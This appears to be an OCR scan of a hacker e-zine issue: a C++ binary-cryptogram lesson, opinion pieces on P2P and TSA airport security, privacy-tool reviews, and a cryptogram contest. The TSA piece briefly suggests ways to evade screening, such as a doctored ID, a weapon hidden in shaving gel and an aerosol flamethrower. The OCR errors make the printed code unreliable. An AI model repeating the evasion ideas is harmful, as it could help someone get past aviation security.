/I here we are going to work for the length of the string
for (int n_bin = nBin-1; n_bin> -1; n_bin--)
{
I/ here we are multiplying the value and power of the bit we are
I playing with at the time
I/l we are converting the string character value to an integer
// which in turn gives us the decimal value
/I (NOT ASCII - we must convert below).
sum = (int(szCBin[n_bin] )-48)*p;
p=p*2;
sum_dec = sum_dec + sum;

}

/I here we need to convert the decimal value to ASCII.

/I We are using 65 to show uppercase, use 97 to show lowercase
cout << char(sum_dec+65-1);

/I Here we are booting the user out and exiting the program

I/ with a nice message telling them why.

cout << "Sorry, this cryptogram is supposed to represent a sort of binary only string”;
cout << endl;

cout << "The character [" << szZTemp[0] << "] isnot binary (1 or 0)" << end!;
exit(1);



}
}
else
{
/I Here we are booting the user out and exiting the program with a nice message telling them why.
cout << "Sorry, this cryptogram does not meet the criteria: "<< nCrypto << " isnot divisible by 5" << end!;
}

Here iswhat this all looks like after you have compiled it:

o+ Command Prompt

*Blacklisted41l .net_HackingCryptograms1B81_example_ 2.exe
iphertext:
BP1A61AA161118000011A01 611001011601 80060190160A1118PA1011860111686811
length of ciphertext: 65

laintext: BINARYMADHESS

NO_CODING()
Binary initself isusually abad idea for message transport as you have seen creating one letter takes five spaces in this case (5:1). Imagine
how large a message asking someone a detailed question or giving detailed directions to something. This form of obfuscation however can
throw alot of people off if they don’t know what they are looking for. For example using lesson 1 (rotating text) combined with lesson 2
(binary-decimal conversion) you can create a pretty nasty cryptogram that even when completing the conversion you didn’t know what
QXCPGNBPSCTHH meant. (Rot11)

Thiswraps up the Lesson 2 of Hacking Cryptograms 101. | hope you have enjoyed this article and learned something new, or at least got the
gears going. See you next issue!

Keepingit ‘rael,
Isragl Torres

Source code can be downloaded here:
http://www.israeltorres.org/blacklisted411/Blacklisted411.net_HackingCryptograms101_example_2.cpp

MD5 hash of the source code can be validated at:
http://www.israeltorres.org/blacklisted411/Blacklisted411.net_HackingCryptograms101_example_2.cpp.md5.tx
t



[6] ==In the News==
Kl

Newsfor the P2P Folks

Well. P2P just got alot safer. Company Overpeer, owned by Loudeye, is ceasing its operations. If you're not familiar with Overpeer, this
company is used by the RIAA and MPAA to flood P2P networks in an effort to make them unusable. Along with that, they also poison
copyrighted files.

Now that we got that done with, would someone please explain to me why it'slegal for them to create adenia of service against a P2P
network??? | mean, if | created a DDOS attack against awebsite, | would be arrested. Also, they say they are only targeting illegal files, but
isn't legality based on whether the person already ownsthe CD in question? If | own XY Z CD from ABC band, and | wanted to download
the MP3 off Kazaa, shouldn’t | have the right to? If you already own the CD, and it’slegal to copy the music off the CD onto your |Pod, why
waste the time encoding?

Furthermore, from what I’m told, artists get less than a dollar of the profits made off the CD. This leaves the music industry with something
like a5-10 dollar profit. If artists are getting 10 cents a song, why can’t we just pay them 25 USD for a lifetime subscription to their music??
Or maybe even a 15 dollar subscription per year. At 10 cents a song, that’s 150 songs. The rest of the profit would have to be made off of
tours and fan material.

Last but not least, why are we till using CDs anyways? The technology is old, clumsy and easily damaged. With current technology, we
should be able to put songs on some sort of digital memory media. Even the Mini-Disc technology is better. At least with that, you can’t
scratch the disk or damage it as easily. As for download services, I'm sort of against that after Sony’ s little rootkit rampage.

The truth about the music industry is rather simple. It's a greedy industry that has profited off of the exploitation of musiciansin the past, but
with technology become readily available artists no longer need them. But unfortunately, they enjoy their immense profits and will fight to
the end like some sort of wounded animal.

[b]
When “ Terminal Security Administration”, becomes*“ Terrible Security Administration”

Recently, TSA has come under immense scrutiny for its deception and loose security. If you have no ideawhat TSA is, well to put it simply,
they are the bossy people in the airport that demand you take your slippers or shoes off and place them on the X-ray machine(Wait, isn't that
a health hazard??). Honestly, | don’t think any of them have had any sort of security experience. First off the people that check IDs, don’t
actually look at them. They just randomly glance to see if the names match. They don’'t even check to seeif the ID isfake. In fact, how hard
would it beto steal an ID, place a thin photo over the original photo, stuff it in your wallet, and hand it to them. Most wallets have the small
window where the ID can be placed for easy viewing, but unless they actually take the ID out of the wallet and examine it, they aren’t going
to be ableto tell if itsfake.

Second problem, someone could easily put some sort of plastic weapon in atube of shaving gel. Heck, they could even fill acan of shaving
gel with flammable material (Gas, etc) and use a lighter to make it aflamethrower. Or better yet, some of those aerosol based perfumes such
asthe“Tag Body Spray” can be used. Bruce Schneier tells us that a cheap tube of epoxy can be turned into a weapon in a mater of minutes
(Forming aknife). | do have to disagree with statements made that TSA needs more personnel; | think they need less personnel. The money
wasted on screening passengers means nothing when your onboard meal is served with ametal knife. So they confiscate your 1 in. pocket
knife, only to give you acutting knife for lunch??

Recently | was out of the country, and | was shocked at the lack of security while returning to the U.S. No hand searches, nothing. Security
consisted of one X-ray scanner operated by a person who appeared to be half adeep, and a friendly question of “Do you have any of these
items with you?’ followed by a picture of hazardous items that appeared to have been produced 10-15 years ago. Sure, TSA security
WOULD be great, but if international flights aren’t protected on both sides, isthere any point in increasing our terminal security?

In my opinion, if you wanted better airport security:

A. Implement bomb sniffing dogs for luggage (Why spend millions or billions on machines when dogs work perfectly fine)

B. Reinforce cockpit doors; create a mantrap in order to enter the cockpit (just in case someone blitz attacks).

C. Arm on-flight personnel with stun guns, If multiple attackers are onboard, one could easily cause a situation in which the marshal must
make himself present, thus giving them the opportunity to obtain afirearm. Plus guns aren’t the best weapon in that situation. Training
personnel to properly use and keep stun gunsis safer and more efficient. Technology such as“Pull Away” pins prevent attackers from using
weapons against the crew.

D. Identity is NOT the issue. Anyone who is flagged as aterrorist or potential terrorist isn’t going to get on a plane. Also, how does identity
help you?? If they know someone is going to strike, and they are flagged, why aren’t they behind bars already?? And security should not be
measured by the number of flights you’ ve been on (Such as fingerprinting frequent flyers etc..).

E. Train TSA agents. A few classes on how to tell people to put their luggage on the x-ray machine does not constitute security. TSA agents
should be able to profile aterrorist or potential problem on the spot. They should have (If they don’t already) intensive training for any



situation. If X happens, what do they do?? Do they leave their post and run?? Also, TSA needs checks and balances. How do you know your
TSA agents aren't taking bribes?? Do external random auditing monthly!

F. Cameras.. Not just in the airport, but on the planes. If a situation occurs, the base station should know about it, warn other aircraft of
possible attack.

G. Use air marshal aslast resort, if the situation can be solved by aircraft crew, keep marshal undercover.

Of coursethese are only afew possibilities. The point | am trying to make is that no “billion” dollar bomb sniffing machine or some
iris/fingerprint identity system will solve the problem. It won't even help the problem. Fix the tiny things first.

[7] ==Product/Service Reviews==
(4]

CCleaner
www.ccleaner.com
Crap cleaner, or CCleaner for short, is awonderful little tool for erasing your history. While the program lacks wiping features to prevent
forensic recovery, it is sufficient for those wishing to keep out prying eyes. The space freed by running CCleaner can range from afew
kilobytes to a couple gigabytes depending on what the system is used for.

r -

5 CCleaner g
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Intel Pantium M processor 1.70GHz, 1.0GE RAM, ATI MOBILTY RADECH 7500

>

Run Cleaner

Online Help C or updates

CCleaner also contains alarge variety of definitions for third party software. The third party programs are only displayed when CCleaner
detects them.
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Another great feature that CCleaner offersisits registry scanning capabilities.
CCleaner.com gives us this description for their registry repair feature.
Advanced features to remove unused and old entries, including File Extensions, ActiveX Controls,

ClasslIDs, ProglDs, Uninstallers, Shared DLLs, Fonts, Help Files, Application Paths, Icons, Invalid Shortcuts
and more... also comes with a comprehensive backup feature.

r‘i’ CCleaner, @

Intel Pentiurn M processor 1.706GHz, 1.0GE RAM, ATI MOBILITY RADECM 7500

Not only isit FREE but it also isfree of any spyware or adware. Overall, | would highly suggest ccleaner.



[b] Darik’s Boot and Nuke
Darik’s Boot and Nuke

Have you ever wanted to sell, give or dispose of your hard drive, but fear of someone recovering your data persuaded you not to? Well
hopefully with Darik’s boot and nuke, DBAN for short, will help give you some reassurance that your dataiis safe. Next to degaussing your
hard drive, thisis probably the best method for a secure wipe. The product includes multiple methods of destroying the data such as fast wipe
and DoD 5220-22M. Essentially DBAN is nothing more than a bootable linux distro customized to feature an array of hard disk wiping
methods.

Darik’'s Boot and Nuke beta.ZBB385288H

Options Statistics
Entropy: Linux Hernel (urandon) Runt ime: Ba:88:21
PRHG : Mersenne TWwister (Mt19937ar-cok) CPU Load: 96%
Method: Dol 5228-22.HM Throughput: 5973 RB-/s
Verify: Last Pass Limiter: Disk I-0
Rounds: 1 Errors: 2]
(IDE B8,8,8,-,-) UMware Uirtwal IDE Hard Drive

[A4.33%, round 1 of 1, pass 1 of 71 [writingl [5973 KBr=1

One of the best features, in my opinion, is the ability to wipe separate partitions. In this case, if you stored all your private files on a separate
partition, you could simply wipe that partition with a more secure method, and use a faster, less secure method for the remaining partitions.
Please be warned, if you don’t know what you’ re doing, you can easily wipe everything on your hard drive by accident (Don’t JUMP steps,
read carefully, make sure the partition you selected seems like the right size, verify the disk is the correct one by its model number).

Just in case you are wondering, DBAN works with SCSI, IDE, PATA, SATA etc. DBAN is capable of wiping 100 disks concurrently and is
only limited by the hardware it’s running on. If you' re a corporate employee working in the field of security and require secure disposal of
multiple old hard drives, | highly suggest you grab an old machine that is dedicated to the task of wiping hard drives. A ssmple 40GB hard
drive can take hours to securely wipe.

In conclusion, thisis an excellent program for disk wiping. If you have any questions about why disk wiping isimportant, and how forensic
discovery is done, | would highly suggest you check out Peter Gutmann’s paper titled “ Secure Deletion of Data from Magnetic and Solid-
State Memory”. Thelink is below.

http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html

[c] SpywareBlaster
Spywar eBlaster

Toolslike “ Spybot Search and Destroy” and “Adaware” are great for removing spyware, but what happens if you want to prevent spyware
from installing altogether?? If your in this situation, spywareblaster is the program for you. Instead of scanning for already installed
programs, spywareblaster goes on the offensive and blocks literally thousands of malware.
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SpywareBlaster

SpywareBlaster Protection

An overview of SpywareBlaster’s prot
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System Snapshot

Tools
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If you are familiar with Spybot S& D you may have noticed the immunize feature that is built in. That same feature is derived from this
program. Although it’s included with Spybot S& D, only a few thousand rules are included with it. Spywareblaster also includes a“ Update”
feature that allows you to get the current rules and block lists.



= SpywareBlaster

SpywareBlaster

i otectinn SpywareBlaster Updates

Download the latest protection updates!

System Snapshot

Updates

If you want to layer your security, and protect your PC from malware, | highly suggest you use spywareblaster in combination with other
programs such as Spybot S& D and adaware.

[8] ==Cryptogram==

Starting thisissue you will be given two cryptograms to solve. The first oneis considered to be for beginners (A), and the second one (B) is
for intermediate to advanced aspiring cryptographers.

Cryptogram A (beginner)
NGX?LXFA?DN?WQZZSTLIOH

Cryptogram B (advanced)
YYUCFPUM?GKIUEOS

Hint: | know you are going to try anyway but these cryptograms cannot automatically be solved by using any of the current functions on
“FTard Decoder Ring”. Nice try though.

Y our mission if you choose to accept it is solving both cryptograms (if you can). To qualify as awinner you need to submit two things:

1. The solved message

2. How you solved the cryptogram by describing each step, algorithm name, etc. The more information you submit the more we'll

believe you.

Send your answersto crypto@blacklisted411.net with the subject of “cryptograms’ + A/B (Depending on which one you solved.)
Winnerswill be posted in order of submittals based on correctness and completeness above. |f you would like to submit a white
paper on how you solved them, that will also be posted on the site and possibly in the next .NET edition. Hintswill be posted on the
forumsin a5 or 15 day interval depending on how many people solve it.

Specid thanksto I srael Torresfor creating the cryptograms for us. Excellent job!!!!

[9] ==Favorite Photo==

Well unfortunately | can’t post the picture without violating copyright laws, soill post thelink instead
http://www.r obr oger s.com/gallery/old_favorites/images/best _01/092001% 20Air port% 20Security.gif

[10] ==Credits==
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